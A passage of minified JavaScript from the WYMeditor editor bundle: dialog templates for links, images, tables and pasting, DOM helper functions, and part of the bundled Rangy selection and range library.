/>'+"<title>"+WYMeditor.DIALOG_TITLE+"</title>"+'<script type="text/javascript" '+'src="'+WYMeditor.JQUERY_PATH+'"></script>'+'<script type="text/javascript" '+'src="'+WYMeditor.WYM_PATH+'"></script>'+"</head>"+WYMeditor.DIALOG_BODY+"</html>",dialogLinkHtml:String()+'<body class="wym_dialog wym_dialog_link" '+' onload="WYMeditor.INIT_DIALOG('+WYMeditor.INDEX+')">'+"<form>"+"<fieldset>"+'<input type="hidden" class="wym_dialog_type" '+'value="'+WYMeditor.DIALOG_LINK+'" />'+"<legend>{Link}</legend>"+'<div class="row">'+"<label>{URL}</label>"+'<input type="text" class="wym_href" value="" '+'size="40" autofocus="autofocus" />'+"</div>"+'<div class="row">'+"<label>{Title}</label>"+'<input type="text" class="wym_title" value="" '+'size="40" />'+"</div>"+'<div class="row">'+"<label>{Relationship}</label>"+'<input type="text" class="wym_rel" value="" '+'size="40" />'+"</div>"+'<div class="row row-indent">'+'<input class="wym_submit" type="submit" '+'value="{Submit}" />'+'<input class="wym_cancel" type="button" '+'value="{Cancel}" />'+"</div>"+"</fieldset>"+"</form>"+"</body>",dialogImageHtml:String()+'<body class="wym_dialog wym_dialog_image" '+'onload="WYMeditor.INIT_DIALOG('+WYMeditor.INDEX+')">'+"<form>"+"<fieldset>"+'<input type="hidden" class="wym_dialog_type" '+'value="'+WYMeditor.DIALOG_IMAGE+'" />'+"<legend>{Image}</legend>"+'<div class="row">'+"<label>{URL}</label>"+'<input type="text" class="wym_src" value="" '+'size="40" autofocus="autofocus" />'+"</div>"+'<div class="row">'+"<label>{Alternative_Text}</label>"+'<input type="text" class="wym_alt" value="" size="40" />'+"</div>"+'<div class="row">'+"<label>{Title}</label>"+'<input type="text" class="wym_title" value="" size="40" />'+"</div>"+'<div class="row row-indent">'+'<input class="wym_submit" type="submit" '+'value="{Submit}" />'+'<input class="wym_cancel" type="button" '+'value="{Cancel}" />'+"</div>"+"</fieldset>"+"</form>"+"</body>",dialogTableHtml:String()+'<body class="wym_dialog wym_dialog_table" '+'onload="WYMeditor.INIT_DIALOG('+WYMeditor.INDEX+')">'+"<form>"+"<fieldset>"+'<input type="hidden" class="wym_dialog_type" '+'value="'+WYMeditor.DIALOG_TABLE+'" />'+"<legend>{Table}</legend>"+'<div class="row">'+"<label>{Caption}</label>"+'<input type="text" class="wym_caption" value="" '+'size="40" />'+"</div>"+'<div class="row">'+"<label>{Summary}</label>"+'<input type="text" class="wym_summary" value="" '+'size="40" />'+"</div>"+'<div class="row">'+"<label>{Number_Of_Rows}</label>"+'<input type="text" class="wym_rows" value="3" size="3" />'+"</div>"+'<div class="row">'+"<label>{Number_Of_Cols}</label>"+'<input type="text" class="wym_cols" value="2" size="3" />'+"</div>"+'<div class="row row-indent">'+'<input class="wym_submit" type="submit" '+'value="{Submit}" />'+'<input class="wym_cancel" type="button" '+'value="{Cancel}" />'+"</div>"+"</fieldset>"+"</form>"+"</body>",dialogPasteHtml:String()+'<body class="wym_dialog wym_dialog_paste" '+'onload="WYMeditor.INIT_DIALOG('+WYMeditor.INDEX+')">'+"<form>"+'<input type="hidden" class="wym_dialog_type" '+'value="'+WYMeditor.DIALOG_PASTE+'" />'+"<fieldset>"+"<legend>{Paste_From_Word}</legend>"+'<div class="row">'+'<textarea class="wym_text" rows="10" cols="50" '+'autofocus="autofocus"></textarea>'+"</div>"+'<div class="row">'+'<input class="wym_submit" type="submit" '+'value="{Submit}" />'+'<input class="wym_cancel" type="button" '+'value="{Cancel}" />'+"</div>"+"</fieldset>"+"</form>"+"</body>",dialogPreviewHtml:String()+'<body class="wym_dialog wym_dialog_preview" '+'onload="WYMeditor.INIT_DIALOG('+WYMeditor.INDEX+')"></body>',dialogStyles:[],stringDelimiterLeft:"{",stringDelimiterRight:"}",preInit:null,preBind:null,postInit:null,preInitDialog:null,postInitDialog:null},a),this.each(function(){var b=new WYMeditor.editor(jQuery(this),a)})},jQuery.extend({wymeditors:function(a){return WYMeditor.INSTANCES[a]}}),WYMeditor.computeWymPath=function(){var a=jQuery(jQuery.grep(jQuery("script"),function(a){return a.src?a.src.match(/jquery\.wymeditor(\.pack|\.min|\.packed)?\.js(\?.*)?$/)||a.src.match(/\/core\.js(\?.*)?$/):null}));return a.length>0?a.attr("src"):(WYMeditor.console.warn("Error determining wymPath. No base WYMeditor file located."),WYMeditor.console.warn("Assuming wymPath to be the current URL"),WYMeditor.console.warn("Please pass a correct wymPath option"),"")},WYMeditor.computeBasePath=function(a){var b=a.lastIndexOf("/");return a.substr(0,b+1)},WYMeditor.computeJqueryPath=function(){return jQuery(jQuery.grep(jQuery("script"),function(a){return a.src&&a.src.match(/jquery(-(.*)){0,1}(\.pack|\.min|\.packed)?\.js(\?.*)?$/)})).attr("src")},WYMeditor.INIT_DIALOG=function(index){var wym=window.opener.WYMeditor.INSTANCES[index],doc=window.document,selected=wym.selected(),dialogType=jQuery(wym._options.dialogTypeSelector).val(),sStamp=wym.uniqueStamp(),styles,aCss,tableOnClick;dialogType===WYMeditor.DIALOG_LINK&&(selected&&selected.tagName&&selected.tagName.toLowerCase!==WYMeditor.A&&(selected=jQuery(selected).parentsOrSelf(WYMeditor.A)),!selected&&wym._selected_image&&(selected=jQuery(wym._selected_image).parentsOrSelf(WYMeditor.A))),jQuery.isFunction(wym._options.preInitDialog)&&wym._options.preInitDialog(wym,window),styles=doc.styleSheets[0],aCss=eval(wym._options.dialogStyles),wym.addCssRules(doc,aCss),selected&&(jQuery(wym._options.hrefSelector).val(jQuery(selected).attr(WYMeditor.HREF)),jQuery(wym._options.srcSelector).val(jQuery(selected).attr(WYMeditor.SRC)),jQuery(wym._options.titleSelector).val(jQuery(selected).attr(WYMeditor.TITLE)),jQuery(wym._options.relSelector).val(jQuery(selected).attr(WYMeditor.REL)),jQuery(wym._options.altSelector).val(jQuery(selected).attr(WYMeditor.ALT))),wym._selected_image&&(jQuery(wym._options.dialogImageSelector+" "+wym._options.srcSelector).val(jQuery(wym._selected_image).attr(WYMeditor.SRC)),jQuery(wym._options.dialogImageSelector+" "+wym._options.titleSelector).val(jQuery(wym._selected_image).attr(WYMeditor.TITLE)),jQuery(wym._options.dialogImageSelector+" "+wym._options.altSelector).val(jQuery(wym._selected_image).attr(WYMeditor.ALT))),jQuery(wym._options.dialogLinkSelector+" "+wym._options.submitSelector).submit(function(){var a=jQuery(wym._options.hrefSelector).val(),b;a.length>0&&(selected[0]&&selected[0].tagName.toLowerCase()===WYMeditor.A?b=selected:(wym._exec(WYMeditor.CREATE_LINK,sStamp),b=jQuery("a[href="+sStamp+"]",wym._doc.body)),b.attr(WYMeditor.HREF,a),b.attr(WYMeditor.TITLE,jQuery(wym._options.titleSelector).val()),b.attr(WYMeditor.REL,jQuery(wym._options.relSelector).val())),window.close()}),jQuery(wym._options.dialogImageSelector+" "+wym._options.submitSelector).submit(function(){var a=jQuery(wym._options.srcSelector).val(),b;a.length>0&&(wym._exec(WYMeditor.INSERT_IMAGE,sStamp),b=jQuery("img[src$="+sStamp+"]",wym._doc.body),b.attr(WYMeditor.SRC,a),b.attr(WYMeditor.TITLE,jQuery(wym._options.titleSelector).val()),b.attr(WYMeditor.ALT,jQuery(wym._options.altSelector).val())),window.close()}),tableOnClick=WYMeditor.MAKE_TABLE_ONCLICK(wym),jQuery(wym._options.dialogTableSelector+" "+wym._options.submitSelector).submit(tableOnClick),jQuery(wym._options.dialogPasteSelector+" "+wym._options.submitSelector).submit(function(){var a=jQuery(wym._options.textSelector).val();wym.paste(a),window.close()}),jQuery(wym._options.dialogPreviewSelector+" "+wym._options.previewSelector).html(wym.xhtml()),jQuery(wym._options.cancelSelector).mousedown(function(){window.close()}),jQuery.isFunction(wym._options.postInitDialog)&&wym._options.postInitDialog(wym,window)},WYMeditor.MAKE_TABLE_ONCLICK=function(a){var b=function(){var b=jQuery(a._options.rowsSelector).val(),c=jQuery(a._options.colsSelector).val(),d=jQuery(a._options.captionSelector).val(),e=jQuery(a._options.summarySelector).val(),f=a.insertTable(b,c,d,e);window.close()};return b},jQuery.fn.isPhantomNode=function(){return this[0].nodeType===3?!/[^\t\n\r ]/.test(this[0].data):!1},jQuery.fn.nextContentsUntil=function(a,b){var c=[],d,e=this.get(0);a=a?a:"",b=b?b:"";if(!e)return jQuery();e=e.nextSibling;while(e){if(!!jQuery(e).is(a))break;c.push(e),e=e.nextSibling}return d=jQuery(c),b?d.filter(b):d},jQuery.fn.nextAllContents=function(){return jQuery(this).nextContentsUntil("","")},jQuery.fn.prevContentsUntil=function(a,b){var c=[],d,e=this.get(0);a=a?a:"",b=b?b:"";if(!e)return jQuery();e=e.previousSibling;while(e){if(!!jQuery(e).is(a))break;c.push(e),e=e.previousSibling}return d=jQuery(c),b?d.filter(b):d},jQuery.fn.prevAllContents=function(){return jQuery(this).prevContentsUntil("","")},WYMeditor.isPhantomNode=function(a){return a.nodeType===3?!/[^\t\n\r ]/.test(a.data):!1},WYMeditor.isPhantomString=function(a){return!/[^\t\n\r ]/.test(a)},jQuery.fn.parentsOrSelf=function(a){var b=this;return b[0].nodeType===3&&(b=b.parents().slice(0,1)),b.filter(a).size()===1?b:b.parents(a).slice(0,1)},WYMeditor.changeNodeType=function(a,b){var c,d,e=a.attributes;jQuery(a).wrapInner("<"+b+">"),c=jQuery(a).children().get(0);for(d=0;d<e.length;d++)e[d].specified&&c.setAttribute(e[d].nodeName,e[d].nodeValue);return jQuery(a).contents().unwrap(),c},WYMeditor.Helper={replaceAll:function(a,b,c){var d=new RegExp(b,"g");return a.replace(d,c)},insertAt:function(a,b,c){return a.substr(0,c)+b+a.substring(c)},trim:function(a){return a.replace(/^(\s*)|(\s*)$/gm,"")},contains:function(a,b){var c;for(c=0;c<a.length;c+=1)if(a[c]===b)return!0;return!1},indexOf:function(a,b){var c=-1,d;for(d=0;d<a.length;d+=1)if(a[d]===b){c=d;break}return c},findByName:function(a,b){var c,d;for(c=0;c<a.length;c+=1){d=a[c];if(d.name===b)return d}return null}},window.rangy=function(){function h(c,d){var e=typeof c[d];return e==b||e==a&&!!c[d]||e=="unknown"}function i(b,c){return typeof b[c]==a&&!!b[c]}function j(a,b){return typeof a[b]!=c}function k(a){return function(b,c){var d=c.length;while(d--)if(!a(b,c[d]))return!1;return!0}}function o(a){return a&&l(a,g)&&n(a,f)}function q(a){window.alert("Rangy not supported in your browser. Reason: "+a),p.initialized=!0,p.supported=!1}function r(a){var b="Rangy warning: "+a;p.config.alertOnWarn?window.alert(b):typeof window.console!=c&&typeof window.console.log!=c&&window.console.log(b)}function u(){if(p.initialized)return;var a,b=!1,c=!1;h(document,"createRange")&&(a=document.createRange(),l(a,e)&&n(a,d)&&(b=!0),a.detach());var f=i(document,"body")?document.body:document.getElementsByTagName("body")[0];f&&h(f,"createTextRange")&&(a=f.createTextRange(),o(a)&&(c=!0)),!b&&!c&&q("Neither Range nor TextRange are implemented"),p.initialized=!0,p.features={implementsDomRange:b,implementsTextRange:c};var g=t.concat(s);for(var j=0,k=g.length;j<k;++j)try{g[j](p)}catch(m){i(window,"console")&&h(window.console,"log")&&window.console.log("Init listener threw an exception. Continuing.",m)}}function w(a){a=a||window,u();for(var b=0,c=v.length;b<c;++b)v[b](a)}function x(a){this.name=a,this.initialized=!1,this.supported=!1}var a="object",b="function",c="undefined",d=["startContainer","startOffset","endContainer","endOffset","collapsed","commonAncestorContainer","START_TO_START","START_TO_END","END_TO_START","END_TO_END"],e=["setStart","setStartBefore","setStartAfter","setEnd","setEndBefore","setEndAfter","collapse","selectNode","selectNodeContents","compareBoundaryPoints","deleteContents","extractContents","cloneContents","insertNode","surroundContents","cloneRange","toString","detach"],f=["boundingHeight","boundingLeft","boundingTop","boundingWidth","htmlText","text"],g=["collapse","compareEndPoints","duplicate","getBookmark","moveToBookmark","moveToElementText","parentElement","pasteHTML","select","setEndPoint","getBoundingClientRect"],l=k(h),m=k(i),n=k(j),p={version:"1.2.2",initialized:!1,supported:!0,util:{isHostMethod:h,isHostObject:i,isHostProperty:j,areHostMethods:l,areHostObjects:m,areHostProperties:n,isTextRange:o},features:{},modules:{},config:{alertOnWarn:!1,preferTextRange:!1}};p.fail=q,p.warn=r,{}.hasOwnProperty?p.util.extend=function(a,b){for(var c in b)b.hasOwnProperty(c)&&(a[c]=b[c])}:q("hasOwnProperty not supported");var s=[],t=[];p.init=u,p.addInitListener=function(a){p.initialized?a(p):s.push(a)};var v=[];p.addCreateMissingNativeApiListener=function(a){v.push(a)},p.createMissingNativeApi=w,x.prototype.fail=function(a){throw this.initialized=!0,this.supported=!1,new Error("Module '"+this.name+"' failed to load: "+a)},x.prototype.warn=function(a){p.warn("Module "+this.name+": "+a)},x.prototype.createError=function(a){return new Error("Error in Rangy "+this.name+" module: "+a)},p.createModule=function(a,b){var c=new x(a);p.modules[a]=c,t.push(function(a){b(a,c),c.initialized=!0,c.supported=!0})},p.requireModules=function(a){for(var b=0,c=a.length,d,e;b<c;++b){e=a[b],d=p.modules[e];if(!d||!(d instanceof x))throw new Error("Module '"+e+"' not found");if(!d.supported)throw new Error("Module '"+e+"' not supported")}};var y=!1,z=function(a){y||(y=!0,p.initialized||u())};if(typeof window==c){q("No window found");return}if(typeof document==c){q("No document found");return}return h(document,"addEventListener")&&document.addEventListener("DOMContentLoaded",z,!1),h(window,"addEventListener")?window.addEventListener("load",z,!1):h(window,"attachEvent")?window.attachEvent("onload",z):q("Window does not have required addEventListener or attachEvent method"),p}(),rangy.createModule("DomUtil",function(a,b){function h(a){var b;return typeof a.namespaceURI==c||(b=a.namespaceURI)===null||b=="http://www.w3.org/1999/xhtml"}function i(a){var b=a.parentNode;return b.nodeType==1?b:null}function j(a){var b=0;while(a=a.previousSibling)b++;return b}function k(a){var b;return o(a)?a.length:(b=a.childNodes)?b.length:0}function l(a,b){var c=[],d;for(d=a;d;d=d.parentNode)c.push(d);for(d=b;d;d=d.parentNode)if(g(c,d))return d;return null}function m(a,b,c){var d=c?b:b.parentNode;while(d){if(d===a)return!0;d=d.parentNode}return!1}function n(a,b,c){var d,e=c?a:a.parentNode;while(e){d=e.parentNode;if(d===b)return e;e=d}return null}function o(a){var b=a.nodeType;return b==3||b==4||b==8}function p(a,b){var c=b.nextSibling,d=b.parentNode;return c?d.insertBefore(a,c):d.appendChild(a),a}function q(a,b){var c=a.cloneNode(!1);return c.deleteData(0,b),a.deleteData(b,a.length-b),p(c,a),c}function r(a){if(a.nodeType==9)return a;if(typeof a.ownerDocument!=c)return a.ownerDocument;if(typeof a.document!=c)return a.document;if(a.parentNode)return r(a.parentNode);throw new Error("getDocument: no document found for node")}function s(a){var b=r(a);if(typeof b.defaultView!=c)return b.defaultView;if(typeof b.parentWindow!=c)return b.parentWindow;throw new Error("Cannot get a window object for node")}function t(a){if(typeof a.contentDocument!=c)return a.contentDocument;if(typeof a.contentWindow!=c)return a.contentWindow.document;throw new Error("getIframeWindow: No Document object found for iframe element")}function u(a){if(typeof a.contentWindow!=c)return a.contentWindow;if(typeof a.contentDocument!=c)return a.contentDocument.defaultView;throw new Error("getIframeWindow: No Window object found for iframe element")}function v(a){return d.isHostObject(a,"body")?a.body:a.getElementsByTagName("body")[0]}function w(a){var b;while(b=a.parentNode)a=b;return a}function x(a,b,c,d){var e,f,g,h,i;if(a==c)return b===d?0:b<d?-1:1;if(e=n(c,a,!0))return b<=j(e)?-1:1;if(e=n(a,c,!0))return j(e)<d?-1:1;f=l(a,c),g=a===f?f:n(a,f,!0),h=c===f?f:n(c,f,!0);if(g===h)throw new Error("comparePoints got to case 4 and childA and childB are the same!");i=f.firstChild;while(i){if(i===g)return-1;if(i===h)return 1;i=i.nextSibling}throw new Error("Should not be here!")}function y(a){var b=r(a).createDocumentFragment(),c;while(c=a.firstChild)b.appendChild(c);return b}function z(a){if(!a)return"[No node]";if(o(a))return'"'+a.data+'"';if(a.nodeType==1){var b=a.id?' id="'+a.id+'"':"";return"<"+a.nodeName+b+">["+a.childNodes.length+"]"}return a.nodeName}function A(a){this.root=a,this._next=a}function B(a){return new A(a)}function C(a,b){this.node=a,this.offset=b}function D(a){this.code=this[a],this.codeName=a,this.message="DOMException: "+this.codeName}var c="undefined",d=a.util;d.areHostMethods(document,["createDocumentFragment","createElement","createTextNode"])||b.fail("document missing a Node creation method"),d.isHostMethod(document,"getElementsByTagName")||b.fail("document missing getElementsByTagName method");var e=document.createElement("div");d.areHostMethods(e,["insertBefore","appendChild","cloneNode"]||!d.areHostObjects(e,["previousSibling","nextSibling","childNodes","parentNode"]))||b.fail("Incomplete Element implementation"),d.isHostProperty(e,"innerHTML")||b.fail("Element is missing innerHTML property");var f=document.createTextNode("test");d.areHostMethods(f,["splitText","deleteData","insertData","appendData","cloneNode"]||!d.areHostObjects(e,["previousSibling","nextSibling","childNodes","parentNode"])||!d.areHostProperties(f,["data"]))||b.fail("Incomplete Text Node implementation");var g=function(a,b){var c=a.length;while(c--)if(a[c]===b)return!0;return!1};A.prototype={_current:null,hasNext:function(){return!!this._next},next:function(){var a=this._current=this._next,b,c;if(this._current){b=a.firstChild;if(b)this._next=b;else{c=null;while(a!==this.root&&!(c=a.nextSibling))a=a.parentNode;this._next=c}}return this._current},detach:function(){this._current=this._next=this.root=null}},C.prototype={equals:function(a){return this.node===a.node&this.offset==a.offset},inspect:function(){return"[DomPosition("+z(this.node)+":"+this.offset+")]"}},D.prototype={INDEX_SIZE_ERR:1,HIERARCHY_REQUEST_ERR:3,WRONG_DOCUMENT_ERR:4,NO_MODIFICATION_ALLOWED_ERR:7,NOT_FOUND_ERR:8,NOT_SUPPORTED_ERR:9,INVALID_STATE_ERR:11},D.prototype.toString=function(){return this.message},a.dom={arrayContains:g,isHtmlNamespace:h,parentElement:i,getNodeIndex:j,getNodeLength:k,getCommonAncestor:l,isAncestorOf:m,getClosestAncestorIn:n,isCharacterDataNode:o,insertAfter:p,splitDataNode:q,getDocument:r,getWindow:s,getIframeWindow:u,getIframeDocument:t,getBody:v,getRootContainer:w,comparePoints:x,inspectNode:z,fragmentFromNodeChildren:y,createIterator:B,DomPosition:C},a.DOMException=D}),rangy.createModule("DomRange",function(a,b){function f(a,b){return a.nodeType!=3&&(c.isAncestorOf(a,b.startContainer,!0)||c.isAncestorOf(a,b.endContainer,!0))}function g(a){return c.getDocument(a.startContainer)}function h(a,b,c){var d=a._listeners[b];if(d)for(var e=0,f=d.length;e<f;++e)d[e].call(a,{target:a,args:c})}function i(a){return new d(a.parentNode,c.getNodeIndex(a))}function j(a){return new d(a.parentNode,c.getNodeIndex(a)+1)}function k(a,b,d){var e=a.nodeType==11?a.firstChild:a;return c.isCharacterDataNode(b)?d==b.length?c.insertAfter(a,b):b.parentNode.insertBefore(a,d==0?b:c.splitDataNode(b,d)):d>=b.childNodes.length?b.appendChild(a):b.insertBefore(a,b.childNodes[d]),e}function l(a){var b;for(var c,d=g(a.range).createDocumentFragment(),f;c=a.next();){b=a.isPartiallySelectedSubtree(),c=c.cloneNode(!b),b&&(f=a.getSubtreeIterator(),c.appendChild(l(f)),f.detach(!0));if(c.nodeType==10)throw new e("HIERARCHY_REQUEST_ERR");d.appendChild(c)}return d}function m(a,b,d){var e,f;d=d||{stop:!1};for(var g,h;g=a.next();)if(a.isPartiallySelectedSubtree()){if(b(g)===!1){d.stop=!0;return}h=a.getSubtreeIterator(),m(h,b,d),h.detach(!0);if(d.stop)return}else{e=c.createIterator(g);while(f=e.next())if(b(f)===!1){d.stop=!0;return}}}function n(a){var b;while(a.next())a.isPartiallySelectedSubtree()?(b=a.getSubtreeIterator(),n(b),b.detach(!0)):a.remove()}function o(a){for(var b,c=g(a.range).createDocumentFragment(),d;b=a.next();){a.isPartiallySelectedSubtree()?(b=b.cloneNode(!1),d=a.getSubtreeIterator(),b.appendChild(o(d)),d.detach(!0)):a.remove();if(b.nodeType==10)throw new e("HIERARCHY_REQUEST_ERR");c.appendChild(b)}return c}function p(a,b,c){var d=!!b&&!!b.length,e,f=!!c;d&&(e=new RegExp("^("+b.join("|")+")$"));var g=[];return m(new r(a,!1),function(a){(!d||e.test(a.nodeType))&&(!f||c(a))&&g.push(a)}),g}function q(a){var b=typeof a.getName=="undefined"?"Range":a.getName();return"["+b+"("+c.inspectNode(a.startContainer)+":"+a.startOffset+", "+c.inspectNode(a.endContainer)+":"+a.endOffset+")]"}function r(a,b){this.range=a,this.clonePartiallySelectedTextNodes=b;if(!a.collapsed){this.sc=a.startContainer,this.so=a.startOffset,this.ec=a.endContainer,this.eo=a.endOffset;var d=a.commonAncestorContainer;this.sc===this.ec&&c.isCharacterDataNode(this.sc)?(this.isSingleCharacterDataNode=!0,this._first=this._last=this._next=this.sc):(this._first=this._next=this.sc===d&&!c.isCharacterDataNode(this.sc)?this.sc.childNodes[this.so]:c.getClosestAncestorIn(this.sc,d,!0),this._last=this.ec===d&&!c.isCharacterDataNode(this.ec)?this.ec.childNodes[this.eo-1]:c.getClosestAncestorIn(this.ec,d,!0))}}function s(a){this.code=this[a],this.codeName=a,this.message="RangeException: "+this.codeName}function t(a,b,c){this.nodes=p(a,b,c),this._next=this.nodes[0],this._position=0}function z(a){return function(b,d){var e,f=d?b:b.parentNode;while(f){e=f.nodeType;if(c.arrayContains(a,e))return f;f=f.parentNode}return null}}function E(a,b){if(D(a,b))throw new s("INVALID_NODE_TYPE_ERR")}function F(a){if(!a.startContainer)throw new e("INVALID_STATE_ERR")}function G(a,b){if(!c.arrayContains(b,a.nodeType))throw new s("INVALID_NODE_TYPE_ERR")}function H(a,b){if(b<0||b>(c.isCharacterDataNode(a)?a.length:a.childNodes.length))throw new e("INDEX_SIZE_ERR")}function I(a,b){if(B(a,!0)!==B(b,!0))throw new e("WRONG_DOCUMENT_ERR")}function J(a){if(C(a,!0))throw new e("NO_MODIFICATION_ALLOWED_ERR")}function K(a,b){if(!a)throw new e(b)}function L(a){return!c.arrayContains(v,a.nodeType)&&!B(a,!0)}function M(a,b){return b<=(c.isCharacterDataNode(a)?a.length:a.childNodes.length)}function N(a){F(a);if(L(a.startContainer)||L(a.endContainer)||!M(a.startContainer,a.startOffset)||!M(a.endContainer,a.endOffset))throw new Error("Range error: Range is no longer valid after DOM mutation ("+a.inspect()+")")}function _(){}function ba(a){a.START_TO_START=T,a.START_TO_END=U,a.END_TO_END=V,a.END_TO_START=W,a.NODE_BEFORE=X,a.NODE_AFTER=Y,a.NODE_BEFORE_AND_AFTER=Z,a.NODE_INSIDE=$}function bb(a){ba(a),ba(a.prototype)}function bc(a,b){return function(){N(this);var d=this.startContainer,e=this.startOffset,f=this.commonAncestorContainer,g=new r(this,!0),h,i;d!==f&&(h=c.getClosestAncestorIn(d,f,!0),i=j(h),d=i.node,e=i.offset),m(g,J),g.reset();var k=a(g);return g.detach(),b(this,d,e,d,e),k}}function bd(b,d,e){function g(a,b){return function(c){F(this),G(c,u),G(A(c),v);var d=(a?i:j)(c);(b?h:k)(this,d.node,d.offset)}}function h(a,b,e){var f=a.endContainer,g=a.endOffset;if(b!==a.startContainer||e!==a.startOffset){if(A(b)!=A(f)||c.comparePoints(b,e,f,g)==1)f=b,g=e;d(a,b,e,f,g)}}function k(a,b,e){var f=a.startContainer,g=a.startOffset;if(b!==a.endContainer||e!==a.endOffset){if(A(b)!=A(f)||c.comparePoints(b,e,f,g)==-1)f=b,g=e;d(a,f,g,b,e)}}function l(a,b,c){(b!==a.startContainer||c!==a.startOffset||b!==a.endContainer||c!==a.endOffset)&&d(a,b,c,b,c)}b.prototype=new _,a.util.extend(b.prototype,{setStart:function(a,b){F(this),E(a,!0),H(a,b),h(this,a,b)},setEnd:function(a,b){F(this),E(a,!0),H(a,b),k(this,a,b)},setStartBefore:g(!0,!0),setStartAfter:g(!1,!0),setEndBefore:g(!0,!1),setEndAfter:g(!1,!1),collapse:function(a){N(this),a?d(this,this.startContainer,this.startOffset,this.startContainer,this.startOffset ):d(this,this.endContainer,this.endOffset,this.endContainer,this.endOffset)},selectNodeContents:function(a){F(this),E(a,!0),d(this,a,0,a,c.getNodeLength(a))},selectNode:function(a){F(this),E(a,!1),G(a,u);var b=i(a),c=j(a);d(this,b.node,b.offset,c.node,c.offset)},extractContents:bc(o,d),deleteContents:bc(n,d),canSurroundContents:function(){N(this),J(this.startContainer),J(this.endContainer);var a=new r(this,!0),b=a._first&&f(a._first,this)||a._last&&f(a._last,this);return a.detach(),!b},detach:function(){e(this)},splitBoundaries:function(){N(this);var a=this.startContainer,b=this.startOffset,e=this.endContainer,f=this.endOffset,g=a===e;c.isCharacterDataNode(e)&&f>0&&f<e.length&&c.splitDataNode(e,f),c.isCharacterDataNode(a)&&b>0&&b<a.length&&(a=c.splitDataNode(a,b),g?(f-=b,e=a):e==a.parentNode&&f>=c.getNodeIndex(a)&&f++,b=0),d(this,a,b,e,f)},normalizeBoundaries:function(){N(this);var a=this.startContainer,b=this.startOffset,e=this.endContainer,f=this.endOffset,g=function(a){var b=a.nextSibling;b&&b.nodeType==a.nodeType&&(e=a,f=a.length,a.appendData(b.data),b.parentNode.removeChild(b))},h=function(d){var g=d.previousSibling;if(g&&g.nodeType==d.nodeType){a=d;var h=d.length;b=g.length,d.insertData(0,g.data),g.parentNode.removeChild(g);if(a==e)f+=b,e=a;else if(e==d.parentNode){var i=c.getNodeIndex(d);f==i?(e=d,f=h):f>i&&f--}}},i=!0;if(c.isCharacterDataNode(e))e.length==f&&g(e);else{if(f>0){var j=e.childNodes[f-1];j&&c.isCharacterDataNode(j)&&g(j)}i=!this.collapsed}if(i){if(c.isCharacterDataNode(a))b==0&&h(a);else if(b<a.childNodes.length){var k=a.childNodes[b];k&&c.isCharacterDataNode(k)&&h(k)}}else a=e,b=f;d(this,a,b,e,f)},collapseToPoint:function(a,b){F(this),E(a,!0),H(a,b),l(this,a,b)}}),bb(b)}function be(a){a.collapsed=a.startContainer===a.endContainer&&a.startOffset===a.endOffset,a.commonAncestorContainer=a.collapsed?a.startContainer:c.getCommonAncestor(a.startContainer,a.endContainer)}function bf(a,b,c,d,e){var f=a.startContainer!==b||a.startOffset!==c,g=a.endContainer!==d||a.endOffset!==e;a.startContainer=b,a.startOffset=c,a.endContainer=d,a.endOffset=e,be(a),h(a,"boundarychange",{startMoved:f,endMoved:g})}function bg(a){F(a),a.startContainer=a.startOffset=a.endContainer=a.endOffset=null,a.collapsed=a.commonAncestorContainer=null,h(a,"detach",null),a._listeners=null}function bh(a){this.startContainer=a,this.startOffset=0,this.endContainer=a,this.endOffset=0,this._listeners={boundarychange:[],detach:[]},be(this)}a.requireModules(["DomUtil"]);var c=a.dom,d=c.DomPosition,e=a.DOMException;r.prototype={_current:null,_next:null,_first:null,_last:null,isSingleCharacterDataNode:!1,reset:function(){this._current=null,this._next=this._first},hasNext:function(){return!!this._next},next:function(){var a=this._current=this._next;return a&&(this._next=a!==this._last?a.nextSibling:null,c.isCharacterDataNode(a)&&this.clonePartiallySelectedTextNodes&&(a===this.ec&&(a=a.cloneNode(!0)).deleteData(this.eo,a.length-this.eo),this._current===this.sc&&(a=a.cloneNode(!0)).deleteData(0,this.so))),a},remove:function(){var a=this._current,b,d;!c.isCharacterDataNode(a)||a!==this.sc&&a!==this.ec?a.parentNode&&a.parentNode.removeChild(a):(b=a===this.sc?this.so:0,d=a===this.ec?this.eo:a.length,b!=d&&a.deleteData(b,d-b))},isPartiallySelectedSubtree:function(){var a=this._current;return f(a,this.range)},getSubtreeIterator:function(){var a;if(this.isSingleCharacterDataNode)a=this.range.cloneRange(),a.collapse();else{a=new bh(g(this.range));var b=this._current,d=b,e=0,f=b,h=c.getNodeLength(b);c.isAncestorOf(b,this.sc,!0)&&(d=this.sc,e=this.so),c.isAncestorOf(b,this.ec,!0)&&(f=this.ec,h=this.eo),bf(a,d,e,f,h)}return new r(a,this.clonePartiallySelectedTextNodes)},detach:function(a){a&&this.range.detach(),this.range=this._current=this._next=this._first=this._last=this.sc=this.so=this.ec=this.eo=null}},s.prototype={BAD_BOUNDARYPOINTS_ERR:1,INVALID_NODE_TYPE_ERR:2},s.prototype.toString=function(){return this.message},t.prototype={_current:null,hasNext:function(){return!!this._next},next:function(){return this._current=this._next,this._next=this.nodes[++this._position],this._current},detach:function(){this._current=this._next=this.nodes=null}};var u=[1,3,4,5,7,8,10],v=[2,9,11],w=[5,6,10,12],x=[1,3,4,5,7,8,10,11],y=[1,3,4,5,7,8],A=c.getRootContainer,B=z([9,11]),C=z(w),D=z([6,10,12]),O=document.createElement("style"),P=!1;try{O.innerHTML="<b>x</b>",P=O.firstChild.nodeType==3}catch(Q){}a.features.htmlParsingConforms=P;var R=P?function(a){var b=this.startContainer,d=c.getDocument(b);if(!b)throw new e("INVALID_STATE_ERR");var f=null;return b.nodeType==1?f=b:c.isCharacterDataNode(b)&&(f=c.parentElement(b)),f===null||f.nodeName=="HTML"&&c.isHtmlNamespace(c.getDocument(f).documentElement)&&c.isHtmlNamespace(f)?f=d.createElement("body"):f=f.cloneNode(!1),f.innerHTML=a,c.fragmentFromNodeChildren(f)}:function(a){F(this);var b=g(this),d=b.createElement("body");return d.innerHTML=a,c.fragmentFromNodeChildren(d)},S=["startContainer","startOffset","endContainer","endOffset","collapsed","commonAncestorContainer"],T=0,U=1,V=2,W=3,X=0,Y=1,Z=2,$=3;_.prototype={attachListener:function(a,b){this._listeners[a].push(b)},compareBoundaryPoints:function(a,b){N(this),I(this.startContainer,b.startContainer);var d,e,f,g,h=a==W||a==T?"start":"end",i=a==U||a==T?"start":"end";return d=this[h+"Container"],e=this[h+"Offset"],f=b[i+"Container"],g=b[i+"Offset"],c.comparePoints(d,e,f,g)},insertNode:function(a){N(this),G(a,x),J(this.startContainer);if(c.isAncestorOf(a,this.startContainer,!0))throw new 